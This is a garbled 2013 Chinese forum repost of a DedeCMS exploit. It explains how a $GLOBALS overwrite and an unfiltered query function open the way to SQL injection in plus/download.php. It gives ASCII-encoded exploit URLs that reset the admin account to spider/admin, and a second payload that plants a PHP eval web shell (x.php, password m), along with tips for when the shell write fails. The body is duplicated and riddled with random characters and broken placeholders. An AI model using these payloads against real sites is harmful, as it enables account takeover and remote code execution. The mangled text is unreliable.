找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2874|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
' V/ u4 @4 X4 u2 L8 ~8 H补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?( ?* l9 S7 x- D  L8 d& _5 A# W
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。- S! [0 U# u' K8 E6 V' l; m
include/dedesql.class.php
7 g$ K! g& B, o+ J0 Y: F" eif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。+ ~8 j$ }+ e9 S
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2+ ]  Q7 [5 `5 M' d4 k9 j8 q
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。( h; v3 T' e' S# b* J
plus/download.php
5 c' x6 ]8 U7 E1 yelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):1 [5 N3 S9 m! `1 ?) Y
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
# T% r" y$ G8 x. Z( F" _UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:" l  I! B# {; T$ Q  b' _
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin( `) F7 f; z4 K" B
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。& y4 u% o  K2 w  O" a) a; Q
如果找不到后台,参见以前修改数据库直接拿SHELL的方法3 ]( j$ H; t$ E8 W# a7 p
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。9 A7 o- j1 q; B4 w. t+ S* k) a$ R
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
! {& i/ W6 z3 }; d1 I; t$ ?' X起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。7 M: [8 ^" B) E: {3 U# N
include/dedesql.class.php
, W) H  e4 E& {+ H, qif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。" N; w% D5 |1 f0 K5 W
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
* t1 G) t) ^2 G, L: S而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。7 A+ I& c3 e, U' P9 @# x- j
plus/download.php
, t7 J/ m3 \3 E7 T# kelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):7 U7 J$ G5 z6 A/ a& }
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:  I# e! O! d' ?% F5 _4 P5 c5 ?
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:- x2 `6 W( E  W* @# a# l7 z" M, t0 i3 G
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin+ H7 g$ D5 j( i/ _: Q
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
3 q) A$ j4 g( c% }% F- C# B如果找不到后台,参见以前修改数据库直接拿SHELL的方法) X% g) G$ \- i( H$ B* S
___FCKpd___6getshell:
! X9 s7 F: C0 q$ y# qhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m" m) P8 a3 C/ o# n% T% w
http://127.0.0.1/plus/x.php
5 l5 u" E, n# `% ]6 [; f8 V8 n' {update成功后还要访问下 /plus/mytag_js.php?aid=1( b4 O" L* u4 |/ x/ P7 o. J
失败原因:
& D- q! a: d& m$ K: J5 c/ E测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)6 l8 E+ v% }7 |
配图:
' c- z0 V* L8 d' `8 }: U* ^+ ?1.查看dede当前版本
$ h  A# D7 T- w7 B! f, l5 b5 {/ ~+ L4 g& [. a3 C( W) W
2.执行exp' p- s- J( A% _4 L8 c2 A7 y

2 y- z6 X9 b$ |% ]" Dhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台1 _$ |& C' a1 g( x# L6 v+ k/ q5 q/ i

7 U9 m  n* L9 Ispider密码admin
" f/ B1 G; C  ~, B0 p" y+ G
0 k2 v4 |! Z: Z3 c( ~+ dhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
: F7 ~# N6 ~- n" S+ X7 I原作者:imspider8 \' l$ @8 t' n. I" @8 P" X* ~; U
; d8 }5 ~' Q; l. M
本博客测试+配图+getshell5 s) I  o" a7 s
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
. }0 w# ?' V, a6 y* ~3 J
# r. Q. U1 d) B4 T& m% K8 [getshell:
2 _) |1 Q' z  e% l+ t___FCKpd___7会在plus目录生成 x.php 密码 m
, [" Z* k, n8 A% Ohttp://127.0.0.1/plus/x.php
- `2 c, R& n  h  k. X0 {update成功后还要访问下 /plus/mytag_js.php?aid=1" K9 s! D0 ^3 T
失败原因:
8 l4 T, `& w0 ?9 S, f( y8 w1 o5 C0 f测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)0 c* R3 K5 o2 h0 {) E- o+ X
配图:
$ i$ m& S( z! I2 p4 W$ Q7 h1.查看dede当前版本
+ ]* j1 @( \* hhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png- i( l- x  t6 C* [  {
2.执行exp
% f- ~; L9 b5 m9 t2 R. {http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台  \% e8 q5 Q8 m8 i
spider密码admin
4 g5 N& H( N0 |2 l: Vhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
# f/ W  T6 S' l4 B  ]) z7 |5 P 3 U: m. C1 z& t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表